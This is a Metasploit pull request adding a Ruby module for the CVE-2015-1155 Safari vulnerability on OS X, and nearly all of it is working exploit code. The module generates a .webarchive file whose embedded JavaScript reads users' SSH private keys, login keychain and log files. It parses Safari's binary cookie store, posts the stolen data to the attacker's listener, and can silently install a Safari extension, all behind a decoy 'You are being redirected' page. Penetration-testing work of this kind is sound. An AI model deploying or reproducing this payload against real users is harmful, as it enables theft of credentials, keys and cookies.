Add module for CVE-2015-1155 OS X Safari vulnerability #5593

Merged
merged 5 commits into from Jul 13, 2015
@@ -0,0 +1,365 @@
+#
+# The WebArchive mixin provides methods for generating a Safari .webarchive file
+# that performs a variety of malicious tasks: stealing files, cookies, and silently
+# installing extensions from extensions.apple.com.
+#
+module Msf
+module Format
+module Webarchive
+
+ def initialize(info={})
+ super
+ register_options([
+ OptString.new("URIPATH", [false, 'The URI to use for this exploit (default is random)']),
+ OptString.new('FILENAME', [ true, 'The file name', 'msf.webarchive']),
+ OptString.new('GRABPATH', [false, "The URI to receive the UXSS'ed data", 'grab']),
+ OptString.new('DOWNLOAD_PATH', [ true, 'The path to download the webarchive', '/msf.webarchive']),
+ OptString.new('FILE_URLS', [false, 'Additional file:// URLs to steal. $USER will be resolved to the username.', '']),
+ OptBool.new('STEAL_COOKIES', [true, "Enable cookie stealing", true]),
+ OptBool.new('STEAL_FILES', [true, "Enable local file stealing", true]),
+ OptBool.new('INSTALL_EXTENSION', [true, "Silently install a Safari extensions (requires click)", false]),
+ OptString.new('EXTENSION_URL', [false, "HTTP URL of a Safari extension to install", "https://data.getadblock.com/safari/AdBlock.safariextz"]),
+ OptString.new('EXTENSION_ID', [false, "The ID of the Safari extension to install", "com.betafish.adblockforsafari-UAMUU4S2D9"])
+ ], self.class)
+ end
+
+ ### ASSEMBLE THE WEBARCHIVE XML ###
+
+ # @return [String] contents of webarchive as an XML document
+ def webarchive_xml
+ return @xml if not @xml.nil? # only compute xml once
+ @xml = webarchive_header
+ @xml << webarchive_footer
+ @xml
+ end
+
+ # @return [String] the first chunk of the webarchive file, containing the WebMainResource
+ def webarchive_header
+ %Q|
+ <?xml version="1.0" encoding="UTF-8"?>
+ <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
+ "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+ <plist version="1.0">
+ <dict>
+ <key>WebMainResource</key>
+ <dict>
+ <key>WebResourceData</key>
+ <data>
+ #{Rex::Text.encode_base64(iframes_container_html)}</data>
+ <key>WebResourceFrameName</key>
+ <string></string>
+ <key>WebResourceMIMEType</key>
+ <string>text/html</string>
+ <key>WebResourceTextEncodingName</key>
+ <string>UTF-8</string>
+ <key>WebResourceURL</key>
+ <string>file:///</string>
+ </dict>
+ <key>WebSubframeArchives</key>
+ <array>
+ |
+ end
+
+ # @return [String] the closing chunk of the webarchive XML code
+ def webarchive_footer
+ %Q|
+ </array>
+ </dict>
+ </plist>
+ |
+ end
+
+ #### JS/HTML CODE ####
+
+ # Wraps the result of the block in an HTML5 document and body
+ def wrap_with_doc(&blk)
+ %Q|
+ <!doctype html>
+ <html>
+ <body>
+ #{yield}
+ </body>
+ </html>
+ |
+ end
+
+ # Wraps the result of the block with <script> tags
+ def wrap_with_script(&blk)
+ "<script>#{yield}</script>"
+ end
+
+ # @return [String] mark up for embedding the iframes for each URL in a place that is
+ # invisible to the user
+ def iframes_container_html
+ wrap_with_doc do
+ injected_js_helpers + steal_files + install_extension + message
+ end
+ end
+
+ def apple_extension_url
+ 'https://extensions.apple.com'
+ end
+
+ def install_extension
+ return '' unless datastore['INSTALL_EXTENSION']
+ raise "EXTENSION_URL datastore option missing" unless datastore['EXTENSION_URL'].present?
+ raise "EXTENSION_ID datastore option missing" unless datastore['EXTENSION_ID'].present?
+ wrap_with_script do
+ %Q|
+ var qq = null;
+ var extURL = atob('#{Rex::Text.encode_base64(datastore['EXTENSION_URL'])}');
+ var extID = atob('#{Rex::Text.encode_base64(datastore['EXTENSION_ID'])}');
+
+ function go(){
+ window.focus();
+ qq.open('javascript:safari&&(safari.installExtension\|\|(window.top.location.href.match(/extensions/)&&window.top.location.reload(false)))&&(safari.installExtension("'+extID+'", "'+extURL+'"), window.close());', '_self');
+ }
+ window.addEventListener('message', function(e) {
+ if (!qq && e.data === 'EXT') {
+ qq = e.source;
+ setInterval(go, 600);
+ }
+ });
+ |
+ end
+ end
+
+ # @return [String] javascript code, wrapped in a script tag, that steals local files
+ # and sends them back to the listener. This code is executed in the WebMainResource (parent)
+ # frame, which runs in the file:// protocol
+ def steal_files
+ return '' unless should_steal_files?
+ urls_str = (datastore['FILE_URLS'].split(/\s+/)).reject { |s| !s.include?('$USER') }.join(' ')
+ wrap_with_script do
+ %Q|
+ var filesStr = "#{urls_str}";
+ var files = filesStr.trim().split(/\s+/);
+ function stealFile(url) {
+ var req = new XMLHttpRequest();
+ var sent = false;
+ req.open('GET', url, true);
+ req.onreadystatechange = function() {
+ if (!sent && req.responseText && req.responseText.length > 0) {
+ sendData(url, req.responseText);
+ sent = true;
+ }
+ };
+ req.send(null);
+ };
+ files.forEach(stealFile);
+
+ | + steal_default_files
+ end
+ end
+
+ def default_files
+ ('file:///Users/$USER/.ssh/id_rsa file:///Users/$USER/.ssh/id_rsa.pub '+
+ 'file:///Users/$USER/Library/Keychains/login.keychain ' +
+ (datastore['FILE_URLS'].split(/\s+/)).select { |s| s.include?('$USER') }.join(' ')).strip
+ end
+
+ def steal_default_files
+ %Q|
+
+ try {
+
+function xhr(url, cb, responseType) {
+ var x = new XMLHttpRequest;
+ x.onload = function() { cb(x) }
+ x.open('GET', url);
+ if (responseType) x.responseType = responseType;
+ x.send();
+}
+
+var files = ['/var/log/monthly.out', '/var/log/appstore.log', '/var/log/install.log'];
+var done = 0;
+var _u = {};
+
+var cookies = [];
+files.forEach(function(f) {
+ xhr(f, function(x) {
+ var m;
+ var users = [];
+ var pattern = /\\/Users\\/([^\\s^\\/^"]+)/g;
+ while ((m = pattern.exec(x.responseText)) !== null) {
+ if(!_u[m[1]]) { users.push(m[1]); }
+ _u[m[1]] = 1;
+ }
+
+ if (users.length) { next(users); }
+ });
+});
+
+var id=0;
+function next(users) {
+ // now lets steal all the data we can!
+ sendData('usernames'+id, users);
+ id++;
+ users.forEach(function(user) {
+
+ if (#{datastore['STEAL_COOKIES']}) {
+ xhr('file:///Users/'+encodeURIComponent(user)+'/Library/Cookies/Cookies.binarycookies', function(x) {
+ parseBinaryFile(x.response);
+ }, 'arraybuffer');
+ }
+
+ if (#{datastore['STEAL_FILES']}) {
+ var files = '#{Rex::Text.encode_base64(default_files)}';
+ atob(files).split(/\\s+/).forEach(function(file) {
+ file = file.replace('$USER', encodeURIComponent(user));
+ xhr(file, function(x) {
+ sendData(file.replace('file://', ''), x.responseText);
+ });
+ });
+ }
+
+ });
+}
+
+function parseBinaryFile(buffer) {
+ var data = new DataView(buffer);
+
+ // check for MAGIC 'cook' in big endian
+ if (data.getUint32(0, false) != 1668247403)
+ throw new Error('Invalid magic at top of cookie file.')
+
+ // big endian length in next 4 bytes
+ var numPages = data.getUint32(4, false);
+ var pageSizes = [], cursor = 8;
+ for (var i = 0; i < numPages; i++) {
+ pageSizes.push(data.getUint32(cursor, false));
+ cursor += 4;
+ }
+
+ pageSizes.forEach(function(size) {
+ parsePage(buffer.slice(cursor, cursor + size));
+ cursor += size;
+ });
+
+ reportStolenCookies();
+}
+
+function parsePage(buffer) {
+ var data = new DataView(buffer);
+ if (data.getUint32(0, false) != 256) {
+ return; // invalid magic in page header
+ }
+
+ var numCookies = data.getUint32(4, true);
+ var offsets = [];
+ for (var i = 0; i < numCookies; i++) {
+ offsets.push(data.getUint32(8+i*4, true));
+ }
+
+ offsets.forEach(function(offset, idx) {
+ var next = offsets[idx+1] \|\| buffer.byteLength - 4;
+ try{parseCookie(buffer.slice(offset, next));}catch(e){};
+ });
+}
+
+function read(data, offset) {
+ var str = '', c = null;
+ try {
+ while ((c = data.getUint8(offset++)) != 0) {
+ str += String.fromCharCode(c);
+ }
+ } catch(e) {};
+ return str;
+}
+
+function parseCookie(buffer) {
+ var data = new DataView(buffer);
+ var size = data.getUint32(0, true);
+ var flags = data.getUint32(8, true);
+ var urlOffset = data.getUint32(16, true);
+ var nameOffset = data.getUint32(20, true);
+ var pathOffset = data.getUint32(24, true);
+ var valueOffset = data.getUint32(28, true);
+
+ var result = {
+ value: read(data, valueOffset),
+ path: read(data, pathOffset),
+ url: read(data, urlOffset),
+ name: read(data, nameOffset),
+ isSecure: flags & 1,
+ httpOnly: flags & 4
+ };
+
+ cookies.push(result);
+}
+
+function reportStolenCookies() {
+ if (cookies.length > 0) {
+ sendData('cookieDump', cookies);
+ }
+}
+
+} catch (e) { console.log('ERROR: '+e.message); }
+
+ |
+ end
+
+ # @return [String] javascript code, wrapped in script tag, that adds a helper function
+ # called "sendData()" that passes the arguments up to the parent frame, where it is
+ # sent out to the listener
+ def injected_js_helpers
+ wrap_with_script do
+ %Q|
+ window.sendData = function(key, val) {
+ var data = {};
+ data[key] = val;
+
+ var x = new XMLHttpRequest;
+ x.open('POST', '#{backend_url}#{collect_data_uri}', true);
+ x.setRequestHeader('Content-type', 'text/plain')
+ x.send(JSON.stringify(data));
+ };
+ |
+ end
+ end
+
+ ### HELPERS ###
+
+ # @return [String] the path to send data back to
+ def collect_data_uri
+ '/' + (datastore["URIPATH"] || '').chomp('/').gsub(/^\//, '') + '/'+datastore["GRABPATH"]
+ end
+
+ # @return [String] formatted http/https URL of the listener
+ def backend_url
+ proto = (datastore["SSL"] ? "https" : "http")
+ myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
+ port_str = (datastore['HTTPPORT'].to_i == 80) ? '' : ":#{datastore['HTTPPORT']}"
+ "#{proto}://#{myhost}#{port_str}"
+ end
+
+ # @return [String] URL that serves the malicious webarchive
+ def webarchive_download_url
+ datastore["DOWNLOAD_PATH"]
+ end
+
+ # @return [String] HTML content that is rendered in the <body> of the webarchive.
+ def message
+ "<p>You are being redirected.</p>"
+ end
+
+ # @return [Array<String>] of URLs provided by the user
+ def urls
+ (datastore['URLS'] || '').split(/\s+/)
+ end
+
+ # @param [String] input the unencoded string
+ # @return [String] input with dangerous chars replaced with xml entities
+ def escape_xml(input)
+ input.to_s.gsub("&", "&amp;").gsub("<", "&lt;")
+ .gsub(">", "&gt;").gsub("'", "&apos;")
+ .gsub("\"", "&quot;")
+ end
+
+ def should_steal_files?
+ datastore['STEAL_FILES']
+ end
+
+end
+end
+end
Oops, something went wrong.